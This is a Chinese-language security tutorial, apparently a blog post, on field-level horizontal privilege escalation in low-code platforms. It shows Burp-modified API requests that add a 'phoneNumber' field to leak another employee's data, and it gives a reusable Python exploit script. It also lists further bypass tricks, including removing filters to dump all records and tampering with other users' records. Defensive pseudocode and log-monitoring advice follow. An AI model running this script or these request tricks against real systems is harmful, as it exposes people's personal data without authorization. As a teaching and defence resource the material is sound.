深入分析了低代码/无代码平台（LCAP/NCAP）的通用安全缺陷，重点揭示了后端 API 对前端字段参数过度信任导致的水平越权漏洞。通过构建员工信息查询场景，演示了如何绕过前端 UI 限制，直接调用后端 API 获取敏感字段数据，并提供了 Python 自动化利用脚本。文章还总结了进阶攻击技巧及防御方案，强调后端必须进行字段级的权限校验，防止数据泄露。该漏洞本质上是 IDOR 在低代码场景下的变体，适用于安全评估与红蓝对抗。
在当今的软件开发领域，低代码/无代码（LCAP/NCAP）平台已经从一个新兴趋势演变为企业数字化转型的核心引擎。它们通过图形化界面、拖拽式组件和预构建模板，极大地降低了应用开发的门槛，使业务人员也能快速构建和部署应用程序。然而，这种'开发民主化'的浪潮也为攻击者开辟了新的攻击面。在传统的攻防体系中，我们关注的是源代码、基础设施和供应链的安全，而低代码平台则引入了一个新的抽象层——'配置即代码'。平台的通用安全缺陷往往源于其核心架构、组件封装和权限模型的共性问题，一旦被利用，可能导致数据泄露、逻辑漏洞甚至整个租户环境的沦陷。因此，理解和掌握低代码平台的安全攻防，已成为现代网络安全体系中不可或缺的一环。
掌握本文介绍的知识后，您将能够：
本文所阐述的技术和模式广泛应用于以下实际场景：
低代码/无代码开发平台（Low-Code/No-Code Application Platform, LCAP/NCAP）是一种软件开发工具，它允许用户通过图形化用户界面（GUI）、拖拽组件和模型驱动的逻辑来创建、部署和管理应用程序，而只需最少或无需手写代码。其核心目标是加速应用交付、降低技术门槛，并赋能业务人员参与到开发过程中。
您可以将低代码平台想象成一个标准化的'智能厨房'。
低代码平台在企业中被广泛用于构建：
从技术本质上看，所有低代码平台都在做一个核心工作：将用户的图形化配置（'我想要什么'）翻译成可执行的机器指令（'代码该怎么写'）。这个过程通常涉及一个多层架构。理解其技术本质是掌握低代码平台原理和发掘其通用缺陷的关键。
下面这张图清晰地展示了低代码平台的通用架构和数据流转过程，这也是我们后续攻击利用的核心所在。
Attacker_View
Backend_Layer
User_Layer
Auth_OK
Parse_JSON
Reverse_Analysis
Bypass_Frontend_Call_API
Potential_Issue_OverPrivilege
Potential_Issue_Config_Injection
Potential_Issue_Data_Logic
User_GUI_Action
Frontend_Render_Engine
Generate_Config_JSON
Trigger_API_Request
API_Gateway_BFF
Auth_and_Access_Control
Core_Config_Parser
Dynamic_Model_and_Logic
Data_Access_Layer
Database_or_ThirdParty_Service
Attacker
图解核心机制：用户的设计操作被转换成一份描述页面结构和逻辑的配置 JSON。当用户与最终应用交互时，前端会根据这些配置向后端通用 API 端点发送请求。后端的核心引擎解析这些请求，动态执行数据查询、更新等操作。攻击的关键就在于：绕过前端 UI 的限制，直接与这些高度模式化的后端 API 交互，并利用其设计上的通用缺陷。
为了复现本文的攻击场景，我们需要准备一个目标应用和一套标准的 Web 分析工具。我们将以一个虚构但贴近真实的'企业员工信息查询'低代码应用为例。
无需命令行配置，均为 GUI 操作。核心步骤如下：
127.0.0.1:8080。HTTP，服务器填 127.0.0.1，端口填 8080。http://burp/ 或 http://127.0.0.1:8080/。完成上述配置后，您的环境即准备就绪。打开目标低代码应用页面，所有进出浏览器的网络请求都将被 Burp Suite 捕获，我们可以在 Burp 的 "HTTP history" 标签页中看到它们。
警告：以下所有操作和代码仅限在获得明确授权的测试环境中使用。未经授权的测试是非法行为。
本节将通过一个完整的低代码平台实战案例，演示如何利用其通用 API 设计缺陷，实现从普通用户权限到非法获取他人敏感信息的水平越权攻击。
场景：在'员工信息查询'应用中，登录用户'张三'可以查看同事'李四'的部门和工号，但无法查看其手机号。我们的目标是获取李四的手机号。
目的：理解应用正常功能下的 API 请求模式。
/api/v1/data/query 或 /api/v1/form/searchData。请求示例 (Request)：
POST /api/v1/data/query HTTP/1.1
Host: lcap.example.com
Content-Type: application/json
Authorization: Bearer [JWT_TOKEN_FOR_ZHANGSAN]
{
"appId": "app-xxxxx",
"formId": "form-yyyyy",
"fieldKeys": [
"name",
"department",
"employeeId"
],
"filters": [
{
"fieldKey": "employeeId",
"operator": "eq",
"value": "1002"
}
]
}
响应示例 (Response)：
{"code":200,"data":{"items":[{"name":"李四","department":"技术部","employeeId":"1002"}]}}
分析：前端通过 fieldKeys 参数明确请求了三个非敏感字段，后端也如实返回了这三个字段的数据。敏感字段'手机号'（假设其 fieldKey 为 phoneNumber）没有被请求，也没有被返回。
目的：绕过前端 UI 的字段限制，直接向后端 API 请求敏感数据。
fieldKeys 数组中添加我们猜测的敏感字段 phoneNumber。修改后的请求 (Request)：
POST /api/v1/data/query HTTP/1.1
Host: lcap.example.com
Content-Type: application/json
Authorization: Bearer [JWT_TOKEN_FOR_ZHANGSAN]
{
"appId": "app-xxxxx",
"formId": "form-yyyyy",
"fieldKeys": [
"name",
"department",
"employeeId",
"phoneNumber"
],
"filters": [
{
"fieldKey": "employeeId",
"operator": "eq",
"value": "1002"
}
]
}
目的：检查后端是否在权限控制上存在缺陷，返回了不该返回的数据。
漏洞存在时的响应 (Response)：
{"code":200,"data":{"items":[{"name":"李四","department":"技术部","employeeId":"1002","phoneNumber":"13800138000"}]}}
结论：如果后端返回了 phoneNumber 字段，就证明存在一个典型的水平越权漏洞。这个漏洞的根源在于：后端 API 仅校验了用户是否有权访问该'表单'（formId），但未对用户请求的'字段'（fieldKeys）进行二次权限校验。平台过度信任了来自前端的请求参数，认为前端会做好字段级的权限控制，而攻击者恰好可以绕过前端。这是低代码平台最常见的通用安全缺陷之一。
目的：将手动发现的漏洞转化为可复用的自动化工具，实现批量验证和利用。这是低代码平台使用方法从手动到自动化的进阶。
以下是一个 Python 脚本，用于自动化执行上述攻击。
# -*- coding: utf-8 -*-
import requests
import json
import argparse
# -------------------------------------------------------------------
# 警告：本脚本仅用于授权安全测试环境。
# 未经授权的渗透测试属于违法行为，请遵守相关法律法规。
# -------------------------------------------------------------------
def exploit_lcap_data_leak(target_url, auth_token, app_id, form_id, target_employee_id, sensitive_fields):
"""
自动化利用低代码平台通用 API 的字段级越权漏洞。
:param target_url: 目标 API 端点，e.g., "https://lcap.example.com/api/v1/data/query"
:param auth_token: 攻击者（普通用户）的认证 Token
:param app_id: 目标应用的 ID
:param form_id: 目标表单的 ID
:param target_employee_id: 要查询的目标员工工号
:param sensitive_fields: 尝试要获取的敏感字段列表，e.g., ["phoneNumber", "idCard"]
:return: 成功获取的数据或错误信息
"""
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {auth_token}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
}
# 基础查询字段，模拟正常用户行为
base_fields = ["name", "department", "employeeId"]
# 将基础字段和要尝试的敏感字段合并
exploit_fields = list(set(base_fields + sensitive_fields))
payload = {
"appId": app_id,
"formId": form_id,
"fieldKeys": exploit_fields,
"filters": [{
"fieldKey": "employeeId",
"operator": "eq",
"value": target_employee_id
}]
}
try:
print(f"[+] 正在向 {target_url} 发送恶意请求...")
print(f"[+] 尝试获取字段：{sensitive_fields}")
response = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=10, verify=False)
response.raise_for_status()
# 如果 HTTP 状态码不是 2xx，则抛出异常
result = response.json()
if result.get("code") == 200 and "data" in result and "items" in result["data"]:
items = result["data"]["items"]
if not items:
return "[!] 查询成功，但未找到匹配该工号的员工。"
leaked_data = items[0]
print("[SUCCESS] 成功获取到数据！")
# 检查敏感字段是否存在于响应中
found_sensitive = False
for field in sensitive_fields:
if field in leaked_data:
print(f" - 泄露字段 '{field}': {leaked_data[field]}")
found_sensitive = True
if not found_sensitive:
print("[INFO] API 调用成功，但响应中未包含请求的敏感字段，可能已被修复或字段名不正确。")
return json.dumps(leaked_data, indent=2, ensure_ascii=False)
else:
return f"[ERROR] API 返回异常：{response.text}"
except requests.exceptions.RequestException as e:
# 处理网络请求相关的错误
return f"[FATAL] 请求失败：{e}"
except json.JSONDecodeError:
return f"[FATAL] 无法解析响应内容：{response.text}"
except Exception as e:
# 处理其他未知错误
return f"[FATAL] 发生未知错误：{e}"
if __name__ == '__main__':
# 使用 argparse 来处理命令行参数，使脚本更具通用性
parser = argparse.ArgumentParser(description="低代码平台通用 API 越权漏洞利用工具。")
parser.add_argument("--url", required=True, help="目标 API 的 URL。")
parser.add_argument("--token", required=True, help="认证 Token。")
parser.add_argument("--app-id", required=True, help="应用 ID。")
parser.add_argument("--form-id", required=True, help="表单 ID。")
parser.add_argument("--target-id", required=True, help="目标员工工号。")
parser.add_argument("--fields", required=True, nargs='+', help="要尝试泄露的敏感字段列表，以空格分隔。")
# 禁用 requests 库发出的 InsecureRequestWarning 警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
args = parser.parse_args()
# 调用主函数
result_output = exploit_lcap_data_leak(
target_url=args.url,
auth_token=args.token,
app_id=args.app_id,
form_id=args.form_id,
target_employee_id=args.target_id,
sensitive_fields=args.fields
)
print("\n--- 结果 ---")
print(result_output)
# 示例运行命令:
# python exploit_script.py --url "https://lcap.example.com/api/v1/data/query" \
# --token "YOUR_AUTH_TOKEN" \
# --app-id "app-xxxxx" \
# --form-id "form-yyyyy" \
# --target-id "1002" \
# --fields phoneNumber idCard
fieldKey 不正确。可以尝试通过查看其他能正常访问的表单、查阅开发者文档或分析前端 JS 源码来寻找线索。data/query, form/getData, record/list 等都是常见的模式，需要具体分析。filters 参数，看是否能触发全量数据泄露。某些配置不当的 API 在没有过滤条件时会返回所有数据，这是更严重的漏洞。eq (等于)，还可以测试 ne (不等于), contains (包含), gt (大于) 等操作符，可能会绕过一些简单的防御逻辑。update, create, delete) 操作的 API 同样存在风险。例如，修改请求体中的 recordId，尝试更新或删除他人的数据，这是垂直越权。phone, idcard），可以尝试编码、大小写混淆或使用平台的内部字段 ID（如 field_1a2b3c）来代替友好名称。fieldKeys 中注入一个与当前表单无关、但存在于其他表单的敏感字段。某些平台的 DAL（数据访问层）设计不当，可能导致跨表单的字段信息泄露。安全的核心在于闭环。发现问题是为了更好地解决问题。
正确写法（伪代码）：
# 后端 API 控制器
function queryData(request) {
// 1. 校验用户是否有权访问 request.formId
if (!checkFormPermission(request.user, request.formId)) {
return "Permission Denied";
}
// 2. 获取该用户在该表单下被授权访问的所有字段
let authorizedFields = getAuthorizedFieldsForUser(request.user, request.formId);
// 3. 对前端请求的字段列表进行交集运算，只查询授权范围内的字段
// !!! 防御核心 !!!
let fieldsToQuery = intersection(request.fieldKeys, authorizedFields);
// 如果请求的字段一个都不在授权列表里，可以记录为异常行为
if (fieldsToQuery.length === 0 && request.fieldKeys.length > 0) {
logSecurityEvent("Attempt to access unauthorized fields", request.user);
}
let filters = request.filters;
// 4. 查询数据库
return db.select(fieldsToQuery).from(request.formId).where(filters);
}
错误写法（伪代码）：
# 后端 API 控制器
function queryData(request) {
// 1. 校验用户是否有权访问 request.formId
if (!checkFormPermission(request.user, request.formId)) {
return "Permission Denied";
}
// 2. 直接使用前端传入的字段列表进行查询
// !!! 漏洞点 !!!
let fieldsToQuery = request.fieldKeys;
let filters = request.filters;
// 3. 查询数据库
return db.select(fieldsToQuery).from(request.formId).where(filters);
}
虽然公民开发者不写后端代码，但可以在应用设计层面缓解风险：
fieldKey。安全运营团队应重点关注以下日志特征：
fieldKeys 列表与响应中实际返回的字段列表不一致，特别是响应中多出了敏感字段。filters 值（如 employeeId）频繁变化。fieldKeys 的请求，而这些字段在前端应用的任何正常视图中都未被配置。本文系统性地剖析了低代码/无代码平台的通用安全缺陷，并通过一个核心实战案例，展示了从漏洞发现到自动化利用的全过程。以下是核心知识点的浓缩：
fieldKeys）的过度信任，导致了字段级的水平越权和数据泄露。filters 中构造复杂的逻辑绕过）、数据篡改、身份认证绕过以及平台自身管理后台的安全性等更深层次的议题。
微信公众号「极客日志」，在微信中扫描左侧二维码关注。展示文案：极客日志 zeeklog
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具，curl 转代码在线工具，online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具，Base64 字符串编码/解码在线工具，online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具，Base64 文件转换器在线工具，online
将 Markdown（GFM）转为 HTML 片段，浏览器内 marked 解析；与 HTML 转 Markdown 互为补充。 在线工具，Markdown 转 HTML在线工具，online
将 HTML 片段转为 GitHub Flavored Markdown，支持标题、列表、链接、代码块与表格等；浏览器内处理，可链接预填。 在线工具，HTML 转 Markdown在线工具，online
通过删除不必要的空白来缩小和压缩JSON。 在线工具，JSON 压缩在线工具，online